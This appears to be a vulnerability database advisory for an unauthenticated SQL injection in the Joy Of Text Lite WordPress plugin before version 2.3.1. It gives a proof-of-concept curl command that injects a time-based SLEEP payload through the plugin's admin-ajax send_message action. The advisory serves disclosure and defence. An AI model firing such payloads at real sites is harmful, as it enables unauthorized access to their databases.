Joy Of Text Lite < 2.3.1 - Unauthenticated SQLi

2022-12-0800:00:00

cydave

220

joy of text

lite

version 2.3.1

unauthenticated

sqli

curl

command

exploit

EPSS

0.002

Percentile

58.0%

JSON

The plugin does not properly sanitise and escape some parameters before using them in SQL statements accessible to unauthenticated users, leading to unauthenticated SQL injection

Invoke the following curl command to induce a 5 second sleep:

time curl 'https://example.com/wp-admin/admin-ajax.php?action=send_message' \
    --data 'jotmemid=x-+(SELECT+1+FROM+(SELECT(SLEEP(5)))aaaaaa)'

EPSS

0.002

Percentile

58.0%

JSON

Related for WPEX-ID:A282DD39-926D-406B-B8F5-E4C6E0C2C028